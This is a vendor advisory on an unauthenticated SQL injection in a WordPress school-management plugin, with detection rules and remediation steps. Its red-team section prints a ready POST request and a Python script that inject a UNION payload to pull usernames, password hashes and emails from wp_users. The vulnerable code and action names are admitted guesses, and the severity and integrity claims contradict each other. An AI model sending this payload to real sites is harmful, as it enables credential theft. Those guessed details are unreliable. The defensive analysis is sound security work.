CVE-2024-12612

Executive Summary

CVE-2024-12612 is a critical unauthenticated SQL Injection vulnerability in the School Management System for WordPress plugin (versions up to and including 93.2.0). The flaw exists across multiple AJAX actions where user-supplied parameters are not properly escaped, and the SQL queries lack sufficient preparation. This allows an unauthenticated attacker to inject arbitrary SQL commands into existing queries, leading to the extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other private data.

This vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely over the network. The CVSS score of 7.5 (High) reflects the ease of exploitation and the potential for significant data breach. As a WordPress plugin issue, the attack surface is broad, affecting any site using the vulnerable plugin version.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of unauthenticated access, low complexity, and high confidentiality impact makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the plugin's AJAX handlers, which are registered for both authenticated and unauthenticated users. The plugin fails to use parameterized queries or prepared statements when building SQL queries from user-supplied input. Specifically, parameters such as student_id, class_id, and teacher_id are directly concatenated into SQL strings without proper sanitization.

For example, an AJAX action like wp_ajax_nopriv_get_student_details might execute a query similar to:

SELECT * FROM wp_students WHERE id = $_POST['student_id']

An attacker can inject a UNION-based SQL payload to retrieve data from other tables, such as wp_users.

The lack of prepare() or esc_sql() in the WordPress context allows the injection to succeed. The plugin's code likely uses $wpdb->query("SELECT ... WHERE id = " . $_POST['param']) instead of $wpdb->prepare("SELECT ... WHERE id = %d", $_POST['param']).

Vulnerable vs. Patched Code

Vulnerable Code (<= 93.2.0):

// In some AJAX handler
$student_id = $_POST['student_id'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}students WHERE id = $student_id");

Patched Code (Hypothetical):

$student_id = intval($_POST['student_id']);
$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}students WHERE id = %d", $student_id));

The patched version uses intval() to cast the input to an integer and $wpdb->prepare() to safely bind the parameter, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a manual exploitation approach is described. An attacker would craft a POST request to the vulnerable AJAX endpoint.

Example Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=get_student_details&student_id=1 UNION SELECT user_login,user_pass,user_email FROM wp_users--

Lab Setup:

1. Install WordPress with the School Management System plugin version 93.2.0.
2. Use a tool like Burp Suite or curl to send crafted requests.
3. Observe the response for extracted data.

Automation Script (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
payload = "1 UNION SELECT user_login,user_pass,user_email FROM wp_users--"
data = {"action": "get_student_details", "student_id": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with parameters containing SQL keywords (UNION, SELECT, FROM, etc.).
• Look for anomalies in database query logs, such as unexpected UNION statements.

Defense:

• Immediately disable or remove the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Use a WordPress security plugin that monitors file integrity and blocks malicious requests.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action parameters like get_student_details, get_class_info, etc., containing SQL injection patterns.
  • HTTP responses containing unexpected database output (e.g., hashed passwords, email addresses).

• File IOCs:

  • Modified plugin files (e.g., school-management-system/includes/ajax-handlers.php) containing backdoors or altered SQL queries.

• Database IOCs:

  • Unusual entries in the wp_options table or new admin users created via SQL injection.

Detection Engineering

YARA Rule

rule CVE_2024_12612_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts against School Management System plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-12612"
    strings:
        $s1 = "UNION" nocase
        $s2 = "SELECT" nocase
        $s3 = "FROM" nocase
        $s4 = "admin-ajax.php" nocase
        $s5 = "student_id" nocase
        $s6 = "class_id" nocase
    condition:
        all of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against School Management System Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in POST requests to WordPress admin-ajax.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=get_student_details'
            - 'student_id='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'FROM'
        - '1=1'
    condition: selection and 1 of keywords
falsepositives:
    - Legitimate use of UNION in rare cases
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-12612 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_student_details"; http_client_body; pcre:"/(UNION|SELECT|FROM|1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations. Navigate to WordPress Admin > Plugins and deactivate "School Management System for WordPress".
2. Apply a virtual patch using a WAF to block SQL injection patterns targeting the plugin's AJAX endpoints.
3. Monitor logs for any signs of exploitation and rotate all user passwords if compromise is suspected.

Long-term Fix:

• The vendor must release a patched version that uses prepared statements. Until then, consider migrating to an alternative plugin.
• Implement a Content Security Policy (CSP) and enforce strict input validation on all user-supplied data.

Valters IT Signature:

This report was generated by Valters IT Cyber Threat Intelligence.
For questions, contact: threat-intel@valters-it.com